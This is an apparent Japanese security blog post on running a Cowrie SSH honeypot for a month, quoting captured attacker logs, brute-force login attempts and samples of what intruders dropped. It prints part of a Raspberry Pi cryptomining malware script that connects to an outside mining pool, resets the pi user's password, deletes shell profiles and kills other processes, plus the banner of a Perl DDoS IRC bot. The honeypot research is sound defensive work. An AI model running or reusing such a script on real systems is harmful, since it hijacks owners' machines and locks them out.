テック・スタディ

IoTとかセキュリティとかの備忘録

Cowrie honeypotを構築して1ヶ月ほど放置した結果

以前Cowrie honeypotの構築話をしました。

tech-study.hateblo.jp

当時は構築直後ということもあり、「どんな攻撃者がやって来るのか?」とか 「どんなファイルを置きに来るのか?」といった疑問を解消することはできませんでした。

今回はCowrie honeypotの構築後、攻撃者がどんなファイルを置きにきたかをメインに話を進めていきたいと思います。

構築後1週目 - 2週目

2017-08-26T22:23:01+0900 CMD: 
2017-08-26T22:23:01+0900 CMD:   echo -e '\x47\x72\x6f\x70/lib/init/rw' > /lib/init/rw/.nippon;   cat /lib/init/rw/.nippon;   rm -f /lib/init/rw/.nippon
2017-08-26T22:23:01+0900 CMD: 
2017-08-26T22:23:01+0900 CMD:   echo -e '\x47\x72\x6f\x70/proc' > /proc/.nippon;   cat /proc/.nippon;   rm -f /proc/.nippon
2017-08-26T22:23:01+0900 CMD: 
2017-08-26T22:23:01+0900 CMD:   echo -e '\x47\x72\x6f\x70/sys' > /sys/.nippon;   cat /sys/.nippon;   rm -f /sys/.nippon
2017-08-26T22:23:01+0900 CMD: 
2017-08-26T22:23:01+0900 CMD:   echo -e '\x47\x72\x6f\x70/dev' > /dev/.nippon;   cat /dev/.nippon;   rm -f /dev/.nippon
2017-08-26T22:23:01+0900 CMD: 
2017-08-26T22:23:01+0900 CMD:   echo -e '\x47\x72\x6f\x70/dev/shm' > /dev/shm/.nippon;   cat /dev/shm/.nippon;   rm -f /dev/shm/.nippon
2017-08-26T22:23:01+0900 CMD: 
2017-08-26T22:23:01+0900 CMD:   echo -e '\x47\x72\x6f\x70/dev/pts' > /dev/pts/.nippon;   cat /dev/pts/.nippon;   rm -f /dev/pts/.nippon
2017-08-26T22:23:01+0900 CMD: 
2017-08-26T22:23:01+0900 CMD: /gweerwe323f
2017-08-26T22:23:01+0900 CMD: 

ユーザ情報がデフォルトのものだけだと、攻撃者もあまり面白いものを設置してくれなかったです。

その後

2017-09-18T22:13:30+0900 [SSHService 'ssh-userauth' on HoneyPotSSHTransport,2059,71.212.172.157] login attempt [pi/raspberryraspberry993311] failed
2017-09-19T03:30:27+0900 [SSHService 'ssh-userauth' on HoneyPotSSHTransport,2212,103.53.77.118] login attempt [pi/raspberryraspberry993311] failed
2017-09-19T03:33:30+0900 [SSHService 'ssh-userauth' on HoneyPotSSHTransport,2214,98.31.13.113] login attempt [admin/admin1234] failed
2017-09-19T03:46:46+0900 [SSHService 'ssh-userauth' on HoneyPotSSHTransport,2218,82.81.139.74] login attempt [pi/raspberryraspberry993311] failed
2017-09-19T05:13:29+0900 [SSHService 'ssh-userauth' on HoneyPotSSHTransport,2225,122.249.98.242] login attempt [admin/motorola] failed
2017-09-19T05:13:30+0900 [SSHService 'ssh-userauth' on HoneyPotSSHTransport,2225,122.249.98.242] login attempt [admin/aerohive] failed
2017-09-19T05:13:31+0900 [SSHService 'ssh-userauth' on HoneyPotSSHTransport,2225,122.249.98.242] login attempt [admin/1111] failed
2017-09-19T11:41:14+0900 [SSHService 'ssh-userauth' on HoneyPotSSHTransport,2303,101.184.82.174] login attempt [pi/raspberryraspberry993311] failed

このようなログインに失敗しているユーザ情報を洗い出して、それをuserdb.txtに書き込み再起動。

これにより様々な攻撃者が来訪してくるようになりました。

興味深かったファイル

急激な来訪者の増加に伴い、dlディレクトリの中にもファイルが残るようになりました。

ここでは、特に興味深かったものを紹介します。

raspberry piを狙ったマイニングマルウェア

一番僕の目を引いたのはマイニングマルウェアが設置されたことでした。 userdb.txtのユーザ情報をpi/raspberryなどとしておけば、 攻撃者が採掘用のリソースとして悪用しようと狙ってきます。

sudo nohup $TMP2 -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 45hgMAs1sNdMs7H9aCQm8oMCG5HGg37nv9Ab5r8u4R9gcWkSteobyt6faTuV8tnzhSUH3WFmStG1YXtsvSkSo5sz2ugxSW4 >> $DEBUG 
&
sleep 3
rm -rf $TMP2

rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc
usermod -p \$6\$U1Nu9qCp\$FhPuo8s5PsQlH6lwUdTwFcAUPNzmr0pWCdNJj.p6l4Mzi8S867YLmc7BspmEH95POvxPQ3PzP029yT1L3yi6K1 pi
for pid in `netstat -pant | grep -v "ssh" | grep -v "minerd" | grep ESTABLISHED | awk -F ' ' '{print $7}' | awk -F '/' '{print $1}'`
do
    echo $pid
    kill -9 $pid
done

stratumという記述が見えるので、どこかのマイニングプールへ接続させようとしてることが分かりますね。

DDoSのIRCボット(の一部
######################################################################################################################



##  DDoS Perl IrcBot v1.0 / 2017 By G            ## [ Help ] ###########################################



##      Stealth MultiFunctional IrcBot writen in Perl          #######################################################



##        Teste on every system with PERL instlled             ##  !u @system                                       ##



##                                                             ##  !u @version                                      ##



##     This is a free program used on your own risk.           ##  !u @channel                                      ##



##        Created for educational purpose only.                ##  !u @flood                                        ##



## I'm not responsible for the illegal use of this program.    ##  !u @utils                                        ##



######################################################################################################################

このプログラムはperlで書かれているみたいです。←perlあまり読んだことない(小声

ソースコード内にはIRCのチャネル名なのか、ユーザ名なのか、接続先URLなのか

いろいろなものが記載されていました。

どんどん(honeypotを)攻撃されたい人向けのアドバイス

認証が弾かれている認証情報のセットをすぐに追加!!

logをgrepして、「failed」などの認証失敗してるキーワードで絞り込むと弾かれているID/PASSのリストが作成可能です。 僕は手動で追加していますが、そのうち自動で追加できるようなバッチを書いて作業を省略する予定です。

まとめ

・構築してアクセスが落ち着いてしまったという場合は、userdb.txtのユーザ情報を追加するといい

・cowrie.logの中からログインに失敗している部分を抜き出してユーザ情報を用意する

9/30に技術交流会でお話したスライド

あと、2017/09/30にハニーポット技術交流会で構築後のお話もしました。

www.slideshare.net

色々な人が来られてて、とても楽しかったですよ!